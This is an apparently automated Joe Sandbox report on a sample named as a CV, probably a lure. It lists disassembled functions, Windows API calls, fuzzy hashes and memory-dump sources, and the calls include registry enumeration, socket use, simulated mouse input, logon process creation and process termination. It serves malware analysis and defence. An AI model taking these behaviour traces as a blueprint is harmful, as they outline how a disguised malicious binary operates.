Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath__wsplitpath_helper_wcscat
String ID:
API String ID: 1380811348-0
Opcode ID: 210cb9486d0d1012cdd4c311d5402e1254f98ca2c8ac889b61043ad53a2bfff4
Instruction ID: f1de5a37747ea562b1f36862e13e1eeb15403973d42625113d98aea645e79562
Opcode Fuzzy Hash: 210cb9486d0d1012cdd4c311d5402e1254f98ca2c8ac889b61043ad53a2bfff4
Instruction Fuzzy Hash: 9E516E715043409FD722EF64CC85EABB7E8EF88754F00492EF5869B291DB70D904CB92

Function 003E2FD6 Relevance: 9.2, APIs: 6, Instructions: 160registryCOMMON

Download Yara Rule

APIs

Part of subcall function 003E3C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,003E2BB5,?,?), ref: 003E3C1D

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 003E30AF
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 003E30EF
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 003E3112
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 003E313B
RegCloseKey.ADVAPI32(?,?,00000000), ref: 003E317E
RegCloseKey.ADVAPI32(00000000), ref: 003E318B

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 3451389628-0
Opcode ID: 1a9e7a3957dd3c54c49299808229c8b919474381192ea8d4d89329740cc1ed14
Instruction ID: c54a85855cb704cf2168f0a2966a84afacef58e63cc2473a2075d7c20912a916
Opcode Fuzzy Hash: 1a9e7a3957dd3c54c49299808229c8b919474381192ea8d4d89329740cc1ed14
Instruction Fuzzy Hash: 75516931508340AFC702EF64CC95EAABBE9FF88304F04495DF5559B2A1DB71EA09CB52

Function 003E84DE Relevance: 9.2, APIs: 6, Instructions: 152windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 003E8540
GetMenuItemCount.USER32(00000000), ref: 003E8577
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 003E859F
GetMenuItemID.USER32(?,?), ref: 003E860E
GetSubMenu.USER32(?,?), ref: 003E861C
PostMessageW.USER32(?,00000111,?,00000000), ref: 003E866D

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 1528b39af82fe73cf124dac31bdfb8d70da715f90069109664e4e528f2ca1d3c
Instruction ID: 9ba5450e11d6118cbe769d6a2db32bf94ad7a59d907e4023f8a9647abdbe8f3e
Opcode Fuzzy Hash: 1528b39af82fe73cf124dac31bdfb8d70da715f90069109664e4e528f2ca1d3c
Instruction Fuzzy Hash: 32518035E00625AFCF12EF95C941AAEB7F4EF48310F1145A9E919BB391CB70AE418B94

Function 003C4AC2 Relevance: 9.1, APIs: 6, Instructions: 136windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003C4B10
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 003C4B5B
IsMenu.USER32(00000000), ref: 003C4B7B
CreatePopupMenu.USER32 ref: 003C4BAF
GetMenuItemCount.USER32(000000FF), ref: 003C4C0D
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 003C4C3E

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 766b66b937175bb7354684f5b8b61746d7eb4b9edf0ec7415b9d98b033c284a1
Instruction ID: eb7025bde1cebda32a0ad5f2e73a231a247ae6cb494f2d345d45e1f978656c98
Opcode Fuzzy Hash: 766b66b937175bb7354684f5b8b61746d7eb4b9edf0ec7415b9d98b033c284a1
Instruction Fuzzy Hash: 0B51CE70A01209EBDF26CFA8C998FADBBF4AF44318F14816DE855DB2A1E3709D44CB51

Function 003D8DE2 Relevance: 9.1, APIs: 6, Instructions: 136networkCOMMON

Download Yara Rule

APIs

select.WSOCK32(00000000,00000001,00000000,00000000,?,000003E8,0041DC00), ref: 003D8E7C
WSAGetLastError.WSOCK32(00000000), ref: 003D8E89
__WSAFDIsSet.WSOCK32(00000000,00000001,00000000), ref: 003D8EAD
#16.WSOCK32(?,?,00000000,00000000), ref: 003D8EC5
_strlen.LIBCMT ref: 003D8EF7
WSAGetLastError.WSOCK32(00000000), ref: 003D8F6A

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ErrorLast$_strlenselect
String ID:
API String ID: 2217125717-0
Opcode ID: 14d8e3cf8e511f1c2166b46bbd5080121d47ac51dba7b05934fe32c713c96297
Instruction ID: 678f2961fb1abd20e611363566c9035c7cb2f04fdcc6e9fccd12c3e65417fd37
Opcode Fuzzy Hash: 14d8e3cf8e511f1c2166b46bbd5080121d47ac51dba7b05934fe32c713c96297
Instruction Fuzzy Hash: 8B418772900204AFCB16EBA4DD95EAEB7BDEF48314F10459AF5169B2D1DF30AE44CB60

Function 0039ABF5 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 0039B34E: GetWindowLongW.USER32(?,000000EB), ref: 0039B35F

BeginPaint.USER32(?,?,?), ref: 0039AC2A
GetWindowRect.USER32(?,?), ref: 0039AC8E
ScreenToClient.USER32(?,?), ref: 0039ACAB
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 0039ACBC
EndPaint.USER32(?,?,?,?,?), ref: 0039AD06
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 003FE673

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectRectangleScreenViewport
String ID:
API String ID: 2592858361-0
Opcode ID: 36c62b65d20d5aec419a2836ea2f5a37801dff0eb18893e9ea30ebb33ce413e2
Instruction ID: bfe6c6eb86eebb0fd12d43185aecc0423be7deff7c9bdc75d1f0b97b2adbbd9c
Opcode Fuzzy Hash: 36c62b65d20d5aec419a2836ea2f5a37801dff0eb18893e9ea30ebb33ce413e2
Instruction Fuzzy Hash: 7B41D2715047049FDB12DF24DC84F7A7BA8EB59320F040729FAA4CB2B1C7319884DBA2

Function 003EE397 Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(00441628,00000000,00441628,00000000,00000000,00441628,?,003FDC5D,00000000,?,00000000,00000000,00000000,?,003FDAD1,00000004), ref: 003EE40B
EnableWindow.USER32(00000000,00000000), ref: 003EE42F
ShowWindow.USER32(00441628,00000000), ref: 003EE48F
ShowWindow.USER32(00000000,00000004), ref: 003EE4A1
EnableWindow.USER32(00000000,00000001), ref: 003EE4C5
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 003EE4E8

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: e64f32baee13dd661761adf9f9756f69ac56baa5ce707d45caef7938ad8fd069
Instruction ID: 6b988e85c720339f53b79078a61027de17cb0796356d5ad0689496f2e6646f29
Opcode Fuzzy Hash: e64f32baee13dd661761adf9f9756f69ac56baa5ce707d45caef7938ad8fd069
Instruction Fuzzy Hash: 6B4171306015A0EFDB22CF66C599B947BE1BF09304F5942B9EA589F2E2C731A846CF51

Function 003C98BA Relevance: 9.1, APIs: 6, Instructions: 100fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 003C98D1

Part of subcall function 0039F4EA: std::exception::exception.LIBCMT ref: 0039F51E
Part of subcall function 0039F4EA: __CxxThrowException@8.LIBCMT ref: 0039F533

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 003C9908
EnterCriticalSection.KERNEL32(?), ref: 003C9924
LeaveCriticalSection.KERNEL32(?), ref: 003C999E
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 003C99B3
InterlockedExchange.KERNEL32(?,000001F6), ref: 003C99D2

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 2537439066-0
Opcode ID: d747741c575ea269e7dfbe8a3cb5e50c8d85a76e3174c30f7339bcd4570c7966
Instruction ID: df6708109a6b7efaf1c21cb6f314e233fbf0a83db27981dfd5675e1d59d79f09
Opcode Fuzzy Hash: d747741c575ea269e7dfbe8a3cb5e50c8d85a76e3174c30f7339bcd4570c7966
Instruction Fuzzy Hash: 36316D31900205EBDF01AFA5DD89EAAB778FF45310B1580B9E905EA246DB70DE14DBA4

Function 003D9B45 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,003D77F4,?,?,00000000,00000001), ref: 003D9B53

Part of subcall function 003D6544: GetWindowRect.USER32(?,?), ref: 003D6557

GetDesktopWindow.USER32 ref: 003D9B7D
GetWindowRect.USER32(00000000), ref: 003D9B84
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 003D9BB6

Part of subcall function 003C7A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 003C7AD0

GetCursorPos.USER32(?), ref: 003D9BE2
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 003D9C44

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 5131daa32cc18c1153aae8d29088d68e7fd8dc77508981dd05be691b18d1343b
Instruction ID: b1e7980b89b50ed30b1d5148454a962d5e7ec5019633fd1f9494ddf82af9bbb5
Opcode Fuzzy Hash: 5131daa32cc18c1153aae8d29088d68e7fd8dc77508981dd05be691b18d1343b
Instruction Fuzzy Hash: A331C072504305ABC710DF68EC49F9AB7E9FF89314F01092BF995E7281D671E908CB91

Function 003BAF64 Relevance: 9.1, APIs: 6, Instructions: 73processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 003BAFAE
OpenProcessToken.ADVAPI32(00000000), ref: 003BAFB5
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 003BAFC4
CloseHandle.KERNEL32(00000004), ref: 003BAFCF
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 003BAFFE
DestroyEnvironmentBlock.USERENV(00000000), ref: 003BB012

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 5fe55f7758814fd14febd6eb845dcc4287cd8baefc43d8d63f90ee9a0cb3db51
Instruction ID: 54a79dee9bcd70cfaea99a4fc1754e849d3680dc6aceacf199a337cf53e5fa66
Opcode Fuzzy Hash: 5fe55f7758814fd14febd6eb845dcc4287cd8baefc43d8d63f90ee9a0cb3db51
Instruction Fuzzy Hash: 6E2149B2504A09ABDB029FA4DE09BEE7BA9AB44308F054025FA01A6561C376DD25EB61

Function 003EEBF6 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 0039AF83: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 0039AFE3
Part of subcall function 0039AF83: SelectObject.GDI32(?,00000000), ref: 0039AFF2
Part of subcall function 0039AF83: BeginPath.GDI32(?), ref: 0039B009
Part of subcall function 0039AF83: SelectObject.GDI32(?,00000000), ref: 0039B033

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 003EEC20
LineTo.GDI32(00000000,00000003,?), ref: 003EEC34
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 003EEC42
LineTo.GDI32(00000000,00000000,?), ref: 003EEC52
EndPath.GDI32(00000000), ref: 003EEC62
StrokePath.GDI32(00000000), ref: 003EEC72

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: a5bd7c89049c2708934cf1a00b3b890ab6853b459036e19013ff73bf53562727
Instruction ID: bc1e3bd65101ceafdbeb7055ffb232de7b42b85fbe2a3bac318b94cdb33988e1
Opcode Fuzzy Hash: a5bd7c89049c2708934cf1a00b3b890ab6853b459036e19013ff73bf53562727
Instruction Fuzzy Hash: 6811097640015DBFEF029F90DD88EEA7F6DEB08354F048122FE0999160D7719D59DBA4

Function 003BE19B Relevance: 9.0, APIs: 6, Instructions: 48COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 003BE1C0
GetDeviceCaps.GDI32(00000000,00000058), ref: 003BE1D1
GetDeviceCaps.GDI32(00000000,0000005A), ref: 003BE1D8
ReleaseDC.USER32(00000000,00000000), ref: 003BE1E0
MulDiv.KERNEL32(000009EC,?,00000000), ref: 003BE1F7
MulDiv.KERNEL32(000009EC,?,?), ref: 003BE209

Part of subcall function 003B9AA3: RaiseException.KERNEL32(-C0000018,00000001,00000000,00000000,003B9A05,00000000,00000000,?,003B9DDB), ref: 003BA53A

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CapsDevice$ExceptionRaiseRelease
String ID:
API String ID: 603618608-0
Opcode ID: c4162443daa25568e082e164997911cbc76e533f64d64b5ff426da8a8a282bc9
Instruction ID: 77c5e1128748b966dc9c3d8243ad4f6f98d5ecde3df6ba8c6e5102f2d5622812
Opcode Fuzzy Hash: c4162443daa25568e082e164997911cbc76e533f64d64b5ff426da8a8a282bc9
Instruction Fuzzy Hash: F40184B5E00214BFEB109BE5CD45F9EBFB8EB48355F004066EA04AB290D6719C00CBA0

Function 003A7B47 Relevance: 9.0, APIs: 6, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 003A7B47

Part of subcall function 003A123A: __initp_misc_winsig.LIBCMT ref: 003A125E
Part of subcall function 003A123A: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 003A7F51
Part of subcall function 003A123A: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 003A7F65
Part of subcall function 003A123A: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 003A7F78
Part of subcall function 003A123A: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 003A7F8B
Part of subcall function 003A123A: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 003A7F9E
Part of subcall function 003A123A: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 003A7FB1
Part of subcall function 003A123A: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 003A7FC4
Part of subcall function 003A123A: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 003A7FD7
Part of subcall function 003A123A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 003A7FEA
Part of subcall function 003A123A: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 003A7FFD
Part of subcall function 003A123A: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 003A8010
Part of subcall function 003A123A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 003A8023
Part of subcall function 003A123A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 003A8036
Part of subcall function 003A123A: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 003A8049
Part of subcall function 003A123A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 003A805C
Part of subcall function 003A123A: GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 003A806F

__mtinitlocks.LIBCMT ref: 003A7B4C

Part of subcall function 003A7E23: InitializeCriticalSectionAndSpinCount.KERNEL32(0043AC68,00000FA0,?,?,003A7B51,003A5E77,00436C70,00000014), ref: 003A7E41

__mtterm.LIBCMT ref: 003A7B55

Part of subcall function 003A7BBD: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,003A7B5A,003A5E77,00436C70,00000014), ref: 003A7D3F
Part of subcall function 003A7BBD: _free.LIBCMT ref: 003A7D46
Part of subcall function 003A7BBD: DeleteCriticalSection.KERNEL32(0043AC68,?,?,003A7B5A,003A5E77,00436C70,00000014), ref: 003A7D68

__calloc_crt.LIBCMT ref: 003A7B7A
GetCurrentThreadId.KERNEL32 ref: 003A7BA3

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: AddressProc$CriticalSection$Delete$CountCurrentHandleInitializeModuleSpinThread__calloc_crt__init_pointers__initp_misc_winsig__mtinitlocks__mtterm_free
String ID:
API String ID: 2942034483-0
Opcode ID: 707b5aac247f77e7cb49a6083a150b1c2cbfcb30062283464722cac06e3ff8b3
Instruction ID: 4a8ec92ab20a5665c6ca0d713c14747d13fdc7e5a1ea1aeef667d8dad8a7cb33
Opcode Fuzzy Hash: 707b5aac247f77e7cb49a6083a150b1c2cbfcb30062283464722cac06e3ff8b3
Instruction Fuzzy Hash: BBF0907250D31219EA2B77747C8BA8B2794DF03730F2506A9F8A0DD1D2FF25884141B4

Function 003827EC Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 0038281D
MapVirtualKeyW.USER32(00000010,00000000), ref: 00382825
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00382830
MapVirtualKeyW.USER32(000000A1,00000000), ref: 0038283B
MapVirtualKeyW.USER32(00000011,00000000), ref: 00382843
MapVirtualKeyW.USER32(00000012,00000000), ref: 0038284B

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: ca3a1477a98989d72d067cabce248be6c35d39c4d4a5ee07d70abb77e4af3ec9
Instruction ID: 5bf9556f4e2e7169e6dc6429159f45bf52f4998ea16a72553a738b958f81270c
Opcode Fuzzy Hash: ca3a1477a98989d72d067cabce248be6c35d39c4d4a5ee07d70abb77e4af3ec9
Instruction Fuzzy Hash: 600167B0902B5ABDE3008F6A8C85B52FFA8FF19354F00411BA15C47A42C7F5A868CBE5

Function 003C9AD5 Relevance: 9.0, APIs: 6, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$EnterLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 1423608774-0
Opcode ID: 1c04ccceb98fd7509482c8cf59c4b671f55ab3cad21bafde90f99b437dd2c623
Instruction ID: c72b6bedf2ee485ef5939d3f5ed5158fa8b190f61f3e46682da18772a66c3be3
Opcode Fuzzy Hash: 1c04ccceb98fd7509482c8cf59c4b671f55ab3cad21bafde90f99b437dd2c623
Instruction Fuzzy Hash: 21018136902611ABD7162BA4ED4CFEB7769FF88701B06047EF503E60A4DB74AC14DB54

Function 003C7BF7 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 003C7C07
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 003C7C1D
GetWindowThreadProcessId.USER32(?,?), ref: 003C7C2C
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 003C7C3B
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 003C7C45
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 003C7C4C

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

